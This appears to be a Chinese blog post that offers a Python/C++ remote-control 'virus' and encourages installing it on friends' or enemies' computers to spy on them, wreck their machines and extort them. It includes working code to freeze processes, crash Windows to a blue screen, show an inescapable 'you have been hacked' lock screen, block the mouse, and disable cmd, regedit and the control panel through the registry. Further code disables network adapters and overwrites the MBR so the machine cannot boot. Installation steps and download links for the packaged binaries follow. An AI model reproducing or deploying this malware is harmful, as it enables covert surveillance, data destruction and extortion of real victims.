Python & C++ 制作远程病毒控制（后台视奸监控控制恶搞入侵）

目录

程序介绍

语言说明

主要功能

说明

效果展示

部分代码展示

安装教程

下载教程

---

程序介绍

这是一款可以让你随意操控他人电脑的程序，只需要在他人电脑上安装即可获得电脑的控制权。

在后台监视、操控， 无人发现。将它安装在你朋友的电脑上，你就能随时随地的偷看ta的屏幕，窥探ta的隐私。或者在ta工作的时候，偷偷的把电脑关闭。

病毒只包含了少数功能，你可以自己添加你想要的功能。比如修改磁盘MBR，以达到电脑无法正常引导，当ta向你寻求帮助的时候，你就可以趁机敲诈你的朋友。

你也可以在你讨厌的人上安装，添加点恶意功能，以此永久性损坏计算机。让ta重新花几千买台新电脑吧。

当然你也可以隐藏此程序，隐藏至其他进程或者隐藏到系统中，这样你的朋友就永远不会发现。

不过这样会被识别成恶意软件。

---

语言说明

Python：界面设计、实现大部分功能

C++：实现部分功能，冻结其他进程/计算机系统

---

主要功能

屏幕监控、远程控制、后台管理、文件管理/获取、鼠标/键盘操控、限制网速（仅限Edge浏览器）、操作注册表、冻结系统、冻结进程

功能菜单

---

说明

本程序为临时制作，代码或功能不够完善。

完整项目我已经上传至github，欢迎大家优化代码或添加功能。
github地址https://github/Cov-chong/ComputerControl.git我也打包为应用程序，可直接使用，下载教程在最底部。

---

效果展示

python&c++制作远程病毒控制

---

部分代码展示

冻结进程

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>

// 挂起目标进程的主线程
bool SuspendMainThread(DWORD dwProcessID) {
    HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hThreadSnapshot == INVALID_HANDLE_VALUE) {
        std::cerr << "无法创建线程快照！" << std::endl;
        return false;
    }

    THREADENTRY32 te32;
    te32.dwSize = sizeof(THREADENTRY32);

    if (!Thread32First(hThreadSnapshot, &te32)) {
        std::cerr << "无法获取第一个线程！" << std::endl;
        CloseHandle(hThreadSnapshot);
        return false;
    }

    do {
        if (te32.th32OwnerProcessID == dwProcessID) {
            // 找到目标进程的线程
            HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME, FALSE, te32.th32ThreadID);
            if (hThread) {
                // 挂起线程
                if (SuspendThread(hThread) != -1) {
                    std::cout << "已挂起线程: " << te32.th32ThreadID << std::endl;
                    CloseHandle(hThread);
                    CloseHandle(hThreadSnapshot);
                    return true;
                }
                CloseHandle(hThread);
            }
        }
    } while (Thread32Next(hThreadSnapshot, &te32));

    CloseHandle(hThreadSnapshot);
    std::cerr << "未找到目标进程的主线程！" << std::endl;
    return false;
}

int get_pid_by_name(const std::string &process_name) {
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    // 创建一个快照
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE) {
        std::cerr << "Failed to take process snapshot" << std::endl;
        return false;
    }

    // 遍历所有进程
    if (Process32First(hProcessSnap, &pe32)) {
        do {
            // 如果进程名匹配，打印 PID
            if (process_name == pe32.szExeFile) {
                CloseHandle(hProcessSnap);
                return pe32.th32ProcessID;
            }
        } while (Process32Next(hProcessSnap, &pe32));
    }

    CloseHandle(hProcessSnap);
    std::cerr << "Process not found!" << std::endl;
    return false;
}

int main() {
	std::string process_name = "explorer.exe"; // 要查找的进程名
    DWORD pid = get_pid_by_name(process_name);
    if (SuspendMainThread(pid)) {
        std::cout << "目标进程的主线程已挂起！" << std::endl;
    } else {
        std::cerr << "挂起目标进程的主线程失败！" << std::endl;
    }
    return 0;
}

输入指定的进程名后查看pid来冻结进程，你可以更改成其他进程名，例如可以改成微信“WeChat.exe”这样微信就会被冻结。

当然你也可以遍历出当前系统的所有进程并且冻结，这时整个系统就会卡死，什么操作都无法响应，你只能被迫强制关机。

限制网速

def limit_speed():
    """限制网速"""

    subprocess.Popen([
        "powershell.exe",
        "New-NetQosPolicy -Name 'LimitEdgeBandwidth' -ThrottleRateActionBitsPerSecond 1KB -AppPathNameMatchCondition 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe'"
    ], shell=True)

通过添加策略可以限制某个应用程序的网络速度，这里限制的是Microsoft Edge浏览器的速度，如果需要限制更多的应用程序，你可以修改路径为你需要现在的应用程序。

这里是限制为1KB/s，你也可以更改成其他速度。

解除网速限制

def relieve_speed():
    """解除网速限制"""

    # 删除带宽限制策略
    subprocess.Popen([
        "powershell.exe",
        "Remove-NetQosPolicy -Name 'LimitEdgeBandwidth' -Confirm:$false"
    ], shell=True)

系统崩溃/蓝屏 

# 调用Windows API使系统崩溃
ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool()))
ctypes.windll.ntdll.NtRaiseHardError(0xC000021A, 0, 0, 0, 6, ctypes.byref(ctypes.c

运行此代码可以使计算机蓝屏，重启就会恢复，没什么危害。

锁定界面

import psutil
import subprocess
import sys,os,threading
from PyQt6.QtCore import *
from PyQt6.QtWidgets import *
from PyQt6.QtGui import *
import win32gui,win32process,win32con,time,ctypes,psutil,winreg
import uiautomation as automation

targetPassword = "Chong+Lvien*z3333333"

def close_all_processes_by_name(process_name):
    # 记录是否有进程被关闭
    terminated = False
    
    # 遍历所有运行中的进程
    for proc in psutil.process_iter(['pid', 'name']):
        try:
            # 检查进程名是否匹配
            if process_name.lower() in proc.info['name'].lower():
                proc.terminate()  # 终止进程
                print(f"Terminated process: {process_name} with PID {proc.info['pid']}")
                terminated = True
        except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
            # 处理进程不存在或权限问题
            pass
    
    if not terminated:
        print(f"No process named {process_name} found.")

class FadeLabel(QLabel):
    def __init__(self, parent=None):

        self.parent = parent
        
        super().__init__(parent)
        self.setAlignment(Qt.AlignmentFlag.AlignCenter)
        self.setText("")
        
        self.text_lines = []
        self.current_line = 0
        
        self.opacity_effect = QGraphicsOpacityEffect(self)
        self.setGraphicsEffect(self.opacity_effect)

        self.fade_in_animation = None
        self.fade_out_animation = None
        self.timer = QTimer(self)
        self.timer.setSingleShot(True)
        self.timer.timeout.connect(self.next_line)

    def set_text(self, text: str):
        """传入多行文本，并初始化控件。"""
        self.text_lines = text.split('\n')
        self.current_line = 0
        self.show_next_line()

    def show_next_line(self):
        """显示下一个文本行，包括渐显和渐隐效果。"""
        if self.current_line < len(self.text_lines):
            # 设置文本
            self.setText(self.text_lines[self.current_line])
            # 初始化透明度为0
            self.opacity_effect.setOpacity(0)

            # 创建渐显动画
            self.fade_in_animation = QPropertyAnimation(self.opacity_effect, b"opacity")
            self.fade_in_animation.setDuration(1000)  # 渐显动画1秒
            self.fade_in_animation.setStartValue(0)
            self.fade_in_animation.setEndValue(1)
            self.fade_in_animation.finished.connect(self.start_waiting)

            # 启动渐显动画
            self.fade_in_animation.start()

    def start_waiting(self):
        """等待3秒钟后启动渐隐动画。"""
        self.timer.start(3000)  # 等待3秒

    def next_line(self):
        """完成当前行的渐隐效果后切换到下一行。"""
        self.fade_out_animation = QPropertyAnimation(self.opacity_effect, b"opacity")
        self.fade_out_animation.setDuration(1000)  # 渐隐动画1秒
        self.fade_out_animation.setStartValue(1)
        self.fade_out_animation.setEndValue(0)
        self.fade_out_animation.finished.connect(self.line_fade_out_finished)

        # 启动渐隐动画
        self.fade_out_animation.start()

    def line_fade_out_finished(self):
        """渐隐动画完成，切换到下一行或结束。"""
        self.current_line += 1
        if self.current_line < len(self.text_lines):
            self.show_next_line()
        else:
            self.setText("")  # 所有文本显示完毕
            self.parent.show_screen()

class FullScreenWindow(QWidget):
    def __init__(self):
        super().__init__()

        # 获取窗口句柄
        self.window_id = int(self.winId()) # 数字
        # 根据句柄获取目标窗口
        self.window = automation.ControlFromHandle(self.window_id)

        # 设置窗口为全屏并去除标题栏
        self.setWindowFlags(Qt.WindowType.FramelessWindowHint | Qt.WindowType.WindowStaysOnTopHint)
        self.showFullScreen()  # 使用 showFullScreen() 进入全屏模式

        self.setStyleSheet("background-color: rgb(0, 20, 38);")

        # 创建垂直布局管理器
        self.layout = QVBoxLayout(self)
        self.layout.setAlignment(Qt.AlignmentFlag.AlignCenter)

        # 添加文本标签
        self.text1 = FadeLabel(self)
        # 设置多行文本
        text = """嗨，别来无恙啊！\n你的电脑已被锁定"""
        self.text1.set_text(text)
        self.text1.setStyleSheet("font-size : 40px; color : white;")
        self.layout.addWidget(self.text1)

        # 初始化颜色
        self.start_color = QColor(0, 20, 38)  # 初始颜色为黑色
        self.end_color = QColor(1, 85, 160)  # 目标颜色为蓝色

        # 创建QVariantAnimation动画
        self.animation = QVariantAnimation(self)
        self.animation.setStartValue(self.start_color)
        self.animation.setEndValue(self.end_color)
        self.animation.setDuration(5000)  # 设置动画持续时间为5秒
        self.animation.setEasingCurve(QEasingCurve.Type.Linear)  # 设置线性过渡

        # 连接动画的valueChanged信号
        self.animation.valueChanged.connect(self.update_background)

        # 动画完成时重新启动
        self.animation.finished.connect(self.reverse_animation)

        # 启动动画
        self.animation.start()

        self.activate()

    def show_screen(self):
        # 显示界面
        self.text1.deleteLater()

        self.text2 = QLabel("电脑已被锁定", self)
        self.text2.setStyleSheet("font-size : 40px; color : white;")
        self.layout.addWidget(self.text2)
        self.layout.setAlignment(self.text2, Qt.AlignmentFlag.AlignCenter)

        self.line1 = QLineEdit(self) # 创建文本框
        self.line1.setStyleSheet(
            """
            QLineEdit {
                background-color: rgba(0, 0, 0, 0); /* 设置背景颜色为完全透明 */
                border : none;
                border-bottom: 1px solid white; /* 设置1像素的边框，颜色为 #DDDDDD */
                color: white; /* 设置文字颜色为 #DDDDDD */
                padding: 2px; /* 设置内边距为2像素 */
                font-size:18px;
            }
            """
        )
        self.line1.setContextMenuPolicy(Qt.ContextMenuPolicy.NoContextMenu) # 取消掉右键菜单
        self.line1.setFixedWidth(300)
        self.line1.setFixedHeight(30)
        self.line1.setPlaceholderText("密码") # 创建浮现文字
        self.line1.setClearButtonEnabled(True) # 启用快速清除
        self.line1.setAlignment(Qt.AlignmentFlag.AlignCenter)
        self.layout.addWidget(self.line1)
        self.layout.setAlignment(self.line1, Qt.AlignmentFlag.AlignCenter)

        self.text3 = QLabel("密码错误", self)
        self.text3.setStyleSheet("font-size : 16px; color : red;")
        self.layout.addWidget(self.text3)
        self.layout.setAlignment(self.text3, Qt.AlignmentFlag.AlignCenter)
        self.text3.hide()

        self.button1 = QPushButton("确定",self)
        self.button1.setFixedWidth(80)
        self.button1.setFixedHeight(30)
        self.button1.clicked.connect(self.submit_password)
        self.button1.setCursor(Qt.CursorShape.PointingHandCursor)
        self.button1.setStyleSheet('''
            QPushButton {
                background-color: transparent; /* 设置按钮初始背景颜色 */
                border: 0px solid white; /* 设置按钮边框 */
                color: white; /* 设置按钮文字颜色 */
                padding: 5px 10px;
                border-radius: 8px; /* 可选：设置圆角半径 */
                font-size : 15px;
            }
            QPushButton:hover {
                background-color: rgba(128, 128, 128, 128); /* 设置鼠标悬停时的背景颜色 */
            }
        ''')
        self.layout.addWidget(self.button1)
        self.layout.setAlignment(self.button1, Qt.AlignmentFlag.AlignCenter)


    def kill_process_by_name(self, exe_name):

        close_all_processes_by_name(exe_name)

        # 启动 explorer.exe
        subprocess.run(["explorer.exe"])


    def submit_password(self):
        # 提交密码
        getPassword = self.line1.text()

        if getPassword == targetPassword:
            self.close()
            self.kill_process_by_name('kl.exe')
        
        else:
            self.text3.show()
        self.line1.clear()  # 清空密码框，避免误操作

    def activate(self):
        self.timer = QTimer(self)
        self.timer.timeout.connect(self.set_window_focus)
        self.timer.start(100)  # 每100ms激活一次窗口

    def set_window_focus(self):
        # 将目标窗口设置为活动窗口
        self.window.SetFocus()  # 将窗口置于前台，激活窗口

    def update_background(self, value):
        # value为当前动画进度的颜色值
        self.setStyleSheet(f"background-color: {value.name()};")

    def reverse_animation(self):
        # 反转颜色
        self.start_color, self.end_color = self.end_color, self.start_color
        # 重新设置动画并启动
        self.animation.setStartValue(self.start_color)
        self.animation.setEndValue(self.end_color)
        self.animation.setDuration(5000)  # 设置动画持续时间为5秒
        self.animation.setEasingCurve(QEasingCurve.Type.Linear)  # 设置线性过渡
        self.animation.start()

# 启动应用
def start():
    app = QApplication(sys.argv)
    window = FullScreenWindow()
    sys.exit(app.exec())

start()

这是入侵计算机后锁定的界面，是可以输入密码退出的，但在原版的病毒中是没有的并且鼠标和键盘是被锁定了的。你可以自己修改成你想要的界面。

下面是修改后的，无法退出。

import os,socket
import sys
import psutil
import subprocess
import threading
from PyQt6.QtCore import *
from PyQt6.QtWidgets import *
from PyQt6.QtGui import *

targetPassword = "Chong+Lvien*z3333333"

def close_all_processes_by_name(process_name):
    terminated = False
    for proc in psutil.process_iter(['pid', 'name']):
        try:
            if process_name.lower() in proc.info['name'].lower():
                proc.terminate()
                print(f"Terminated process: {process_name} with PID {proc.info['pid']}")
                terminated = True
        except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
            pass
    if not terminated:
        print(f"No process named {process_name} found.")

class FadeLabel(QLabel):
    def __init__(self, parent=None):
        self.parent = parent
        super().__init__(parent)
        self.setAlignment(Qt.AlignmentFlag.AlignCenter)
        self.setText("")
        
        self.text_lines = []
        self.current_line = 0
        
        self.opacity_effect = QGraphicsOpacityEffect(self)
        self.setGraphicsEffect(self.opacity_effect)

        self.fade_in_animation = None
        self.fade_out_animation = None
        self.timer = QTimer(self)
        self.timer.setSingleShot(True)
        self.timer.timeout.connect(self.next_line)

    def set_text(self, text: str):
        self.text_lines = text.split('\n')
        self.current_line = 0
        self.show_next_line()

    def show_next_line(self):
        if self.current_line < len(self.text_lines):
            self.setText(self.text_lines[self.current_line])
            self.opacity_effect.setOpacity(0)

            self.fade_in_animation = QPropertyAnimation(self.opacity_effect, b"opacity")
            self.fade_in_animation.setDuration(1000)
            self.fade_in_animation.setStartValue(0)
            self.fade_in_animation.setEndValue(1)
            self.fade_in_animation.finished.connect(self.start_waiting)
            self.fade_in_animation.start()

    def start_waiting(self):
        self.timer.start(3000)

    def next_line(self):
        self.fade_out_animation = QPropertyAnimation(self.opacity_effect, b"opacity")
        self.fade_out_animation.setDuration(1000)
        self.fade_out_animation.setStartValue(1)
        self.fade_out_animation.setEndValue(0)
        self.fade_out_animation.finished.connect(self.line_fade_out_finished)
        self.fade_out_animation.start()

    def line_fade_out_finished(self):
        self.current_line += 1
        if self.current_line < len(self.text_lines):
            self.show_next_line()
        else:
            self.setText("")
            self.parent.show_screen()

class FullScreenWindow(QWidget):
    def __init__(self):
        super().__init__()

        # 设置窗口为全屏并去除标题栏
        self.setWindowFlags(Qt.WindowType.FramelessWindowHint | Qt.WindowType.WindowStaysOnTopHint)
        self.showFullScreen()

        # 初始化背景颜色
        self.start_color = QColor(0, 20, 38)
        self.end_color = QColor(1, 85, 160)
        self.current_background = "color"  # 当前背景类型：color 或 image

        # 创建垂直布局管理器
        self.layout = QVBoxLayout(self)
        self.layout.setAlignment(Qt.AlignmentFlag.AlignCenter)

        # 添加文本标签
        self.text1 = FadeLabel(self)
        text = """嗨，别来无恙啊！\n你的电脑已被入侵"""
        self.text1.set_text(text)
        self.text1.setStyleSheet("font-size : 40px; color : white; background-color : transparent;")
        self.layout.addWidget(self.text1)

        # 创建QVariantAnimation动画
        self.animation = QVariantAnimation(self)
        self.animation.setStartValue(self.start_color)
        self.animation.setEndValue(self.end_color)
        self.animation.setDuration(5000)
        self.animation.setEasingCurve(QEasingCurve.Type.Linear)
        self.animation.valueChanged.connect(self.update_background)
        self.animation.finished.connect(self.reverse_animation)
        self.animation.start()

        # 设置定时器，每3秒显示一次图片
        self.image_timer = QTimer(self)
        self.image_timer.timeout.connect(self.show_image)
        self.image_timer.start(5000)  # 每3秒触发一次

        # 设置定时器，每100ms激活一次窗口
        self.activate_timer = QTimer(self)
        self.activate_timer.timeout.connect(self.set_window_focus)
        self.activate_timer.start(100)

    def show_image(self):
        
        try:
            # 加载图片
            image_path = "C:\\Windows\\PLA\\g.jpg"  # 替换为你的图片路径
            if os.path.exists(image_path):
                pixmap = QPixmap(image_path)
                self.set_background_image(pixmap)

                # 0.5秒后恢复渐变背景
                QTimer.singleShot(300, self.restore_background_color)
        except:
            pass

    def set_background_image(self, pixmap):
        # 设置背景图片
        palette = self.palette()
        palette.setBrush(QPalette.ColorRole.Window, QBrush(pixmap))
        self.setPalette(palette)
        self.current_background = "image"

    def restore_background_color(self):
        # 恢复渐变背景
        self.setStyleSheet(f"background-color: {self.start_color.name()};")
        self.current_background = "color"
        self.animation.start()  # 重新启动渐变动画

    def update_background(self, value):
        if self.current_background == "color":
            self.setStyleSheet(f"background-color: {value.name()};")

    def show_screen(self):
        self.text1.deleteLater()

        self.text2 = QLabel("电脑已被入侵", self)
        self.text2.setStyleSheet("font-size : 40px; color : red; background-color : transparent;")
        self.layout.addWidget(self.text2)
        self.layout.setAlignment(self.text2, Qt.AlignmentFlag.AlignCenter)

    def set_window_focus(self):
        # 将窗口置于最上层
        self.raise_()
        self.activateWindow()

    def reverse_animation(self):
        self.start_color, self.end_color = self.end_color, self.start_color
        self.animation.setStartValue(self.start_color)
        self.animation.setEndValue(self.end_color)
        self.animation.setDuration(5000)
        self.animation.setEasingCurve(QEasingCurve.Type.Linear)
        self.animation.start()

# 启动应用
def start():    
    app = QApplication(sys.argv)
    window = FullScreenWindow()
    sys.exit(app.exec())

def prevent_multiple_instances(port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.bind(('127.0.0.1', port))
    except socket.error:
        sys.exit(1)
    finally:
        sock.close()

if __name__ == "__main__":
    port = 37373  # 指定端口号
    prevent_multiple_instances(port)
    start()

锁定鼠标

#include <windows.h>
#include <iostream>

// 全局钩子句柄
HHOOK g_hMouseHook = NULL;

// 鼠标钩子回调函数
LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0) {
        // 拦截所有鼠标消息
        return 1;  // 返回非零值表示阻止消息传递
    }
    return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
}

int main() {
    // 安装鼠标钩子
    g_hMouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseHookProc, NULL, 0);
    if (!g_hMouseHook) {
        std::cerr << "无法安装鼠标钩子！" << std::endl;
        return 1;
    }

    std::cout << "鼠标钩子已安装，鼠标事件将被拦截！" << std::endl;

    // 消息循环
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    // 卸载鼠标钩子
    UnhookWindowsHookEx(g_hMouseHook);
    std::cout << "鼠标钩子已卸载，鼠标事件恢复正常！" << std::endl;

    return 0;
}

通过添加鼠标钩子来拦截鼠标的事件，以此达到鼠标无法使用。不过在安全性比较高的计算机中打开任务管理器鼠标是会恢复的。因为任务管理器的优先级高。还有一些键盘锁定也无法拦截安全选项的快捷键【Ctrl + Alt + Del】。如果你确实需要完全拦截，你可以直接卸载驱动。

还有一些注册表的修改，例如禁用任务管理器，禁用注册表编辑器，禁用命令提示符等就不一一展示了。

def disable_cmd():
    """禁用命令提示符"""
    
    key_path = r"Software\Policies\Microsoft\Windows\System"
    value_name = "DisableCMD"

    try:
        key = reg.CreateKey(reg.HKEY_CURRENT_USER, key_path)
        reg.SetValueEx(key, value_name, 0, reg.REG_DWORD, 1)
        reg.CloseKey(key)
    except Exception as e:
        pass

def enable_cmd():
    """启用命令提示符"""
    
    key_path = r"Software\Policies\Microsoft\Windows\System"
    value_name = "DisableCMD"

    try:
        key = reg.OpenKey(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_SET_VALUE)
        reg.SetValueEx(key, value_name, 0, reg.REG_DWORD, 0)
        reg.CloseKey(key)
    except FileNotFoundError:
        pass
    except Exception as e:
        pass

def disable_compmgmt():
    """禁用计算机管理"""
    key_path = r"Software\Policies\Microsoft\MMC\{58221C67-EA27-11CF-ADCF-00AA00A80033}"
    value_name = "Restrict_Run"

    try:
        key = reg.CreateKey(reg.HKEY_CURRENT_USER, key_path)
        reg.SetValueEx(key, value_name, 0, reg.REG_DWORD, 1)
        reg.CloseKey(key)
    except Exception as e:
        pass

def enable_compmgmt():
    """启用计算机管理"""
    key_path = r"Software\Policies\Microsoft\MMC\{58221C67-EA27-11CF-ADCF-00AA00A80033}"
    value_name = "Restrict_Run"

    try:
        key = reg.OpenKey(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_SET_VALUE)
        reg.SetValueEx(key, value_name, 0, reg.REG_DWORD, 0)
        reg.CloseKey(key)
    except FileNotFoundError:
        pass
    except Exception as e:
        pass

def disable_regedit():
    """禁用注册表编辑器"""
    key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\System"
    value_name = "DisableRegistryTools"

    try:
        key = reg.CreateKey(reg.HKEY_CURRENT_USER, key_path)
        reg.SetValueEx(key, value_name, 0, reg.REG_DWORD, 1)
        reg.CloseKey(key)
    except Exception as e:
        pass

def enable_regedit():
    """启用注册表编辑器"""
    key_path = r"Software\Microsoft\Windows\CurrentVersion\Policies\System"
    value_name = "DisableRegistryTools"

    try:
        key = reg.OpenKey(reg.HKEY_CURRENT_USER, key_path, 0, reg.KEY_SET_VALUE)
        reg.SetValueEx(key, value_name, 0, reg.REG_DWORD, 0)
        reg.CloseKey(key)
    except FileNotFoundError:
        pass
    except Exception as e:
        pass

当然你也可以禁用设置，使用户无法打开设置界面。这样你可以修改它的背景图片，但又不能改回去（虽然不用设置也有其他的方法可以改）。

def disable_settings():
    """禁用设置"""

    # 打开注册表项
    key = reg.OpenKey(reg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", 0, reg.KEY_WRITE)

    # 设置值以禁用控制面板
    reg.SetValueEx(key, "NoControlPanel", 0, reg.REG_DWORD, 1)

    # 关闭注册表项
    reg.CloseKey(key)

def enable_settings():
    """启用设置"""

    # 打开注册表项
    key = reg.OpenKey(reg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", 0, reg.KEY_WRITE)

    # 删除或重置值以恢复控制面板
    try:
        reg.DeleteValue(key, "NoControlPanel")
    except FileNotFoundError:
        pass

    # 关闭注册表项
    reg.CloseKey(key)

其实可以禁用的也有很多。比如你可以禁用右键菜单。这样在系统桌面上就不能使用右键菜单。在任务栏上也是。也可以修改一些系统设置和本地组策略等。这样让你的朋友在迷茫中吧，“为什么我的右键菜单用不了？”。也可以只拦截点击事件，让你的朋友一直点点点，以为是鼠标烂掉了。

禁用网络

def disable_network_adapter():
    """禁用所有网络适配器"""
    adapters = get_all_adapters()
    if not adapters:
        return
    
    for adapter in adapters:
        try:
            subprocess.Popen(f'netsh interface set interface "{adapter}" disable', shell=True, check=True)
        except subprocess.CalledProcessError as e:
            pass

def enable_network_adapter():
    """启用所有网络适配器"""
    adapters = get_all_adapters()
    if not adapters:
        return
    
    for adapter in adapters:
        try:
            subprocess.Popen(f'netsh interface set interface "{adapter}" enable', shell=True, check=True)
        except subprocess.CalledProcessError as e:
            pass

禁用网络只是把网络适配器禁用了而已，不过禁用以后你和被控制端是会失去连接的。

 剩下的就没什么可以说的了，需要什么功能的你也可以自己添加。什么恶意功能，恶搞功能都可以。

拓展功能

破坏MRB

#include <windows.h>
#include <iostream>
#include <fstream>

void ModifyMBR(const std::wstring& diskPath) {
    // 使用 CreateFileW 打开磁盘
    HANDLE hDisk = CreateFileW(diskPath.c_str(), GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    
    if (hDisk == INVALID_HANDLE_VALUE) {
        std::cerr << "Failed to open disk. Error: " << GetLastError() << std::endl;
        return;
    }

    // MBR 中的引导代码区大小是 446 字节
    BYTE mbr[512] = { 0 };
    
    // 破坏引导代码区域，将前446字节设置为无效的操作指令（0x00）
    for (int i = 0; i < 446; i++) {
        mbr[i] = 0x00;  // 设置为无效代码
    }

    // 修改分区表，使其指向一个无效的分区（比如设置不合法的启动标志）
    // 将活动标志改为0x00（无分区活动）
    mbr[0x1BE] = 0x00;  // 第一个分区的活动标志设置为0，表示没有活动分区
    
    // 设置魔术数字 0x55AA（MBR的结尾），保持不变，表明是有效的MBR结构
    mbr[510] = 0x55;
    mbr[511] = 0xAA;

    DWORD bytesWritten;
    BOOL success = WriteFile(hDisk, mbr, sizeof(mbr), &bytesWritten, NULL);

    if (!success) {
        std::cerr << "Failed to write MBR. Error: " << GetLastError() << std::endl;
    } else {
        std::cout << "Successfully modified the MBR to prevent booting." << std::endl;
    }

    CloseHandle(hDisk);
}

int main() {
    // 修改磁盘的 MBR（确保选择正确的磁盘路径）
    std::wstring diskPath = L"\\\\.\\PhysicalDrive0"; // 物理驱动器0, 请根据实际情况修改
    ModifyMBR(diskPath);
    
    return 0;
}

---

安装教程

首先你需要一个病毒部署的应用程序

这个是我已经打包好的了。

现在在你需要感染的计算机上下载，或者传输到计算机上。

紧接着运行此应用程序。

你将看到一个命令行窗口，并且要求你输入ip地址。

这个地址是需要你输入控制端的地址，如果是局域网直接输入ip地址就行。如果不是你可以使用内网穿透进行链接。如果不会的可以出个教程。当然如果你有公网地址也行。

例如如果你需要在ip为192.168.10.108上控制此电脑，就输入192.168.10.108。这是局域网内的。

此时就会修改注册表。如果你有杀毒软件则会被拦截。需要点击允许操作。

 修改完以后你需要在杀毒软件中添加信任操作，还要添加自动处理。

上面的视频中有完整的过程。

注销完以后病毒就能生效。你也可以不注销，下次注销/重启后也可以。

还有一个是解毒程序。需要以管理员身份运行。不过这是以前的解毒程序。现在加了点文件，文件会没有删干净，不过问题不大。源代码也没了，懒得写了，想写的自己写吧。

---

下载教程

如果你不想自己打包，或者看不懂源码。你可以下载我已经打包好的应用程序。

我已经上传到我的超星课程了。

详看：https://blog.csdn/2301_76542477/article/details/149032632?spm=1011.2415.3001.5331

搜索关键字：远程控制

其中“Monitoring Terminal.zip”是控制端

“Intrude.exe”是感染程序

“Detoxify.exe”是解毒程序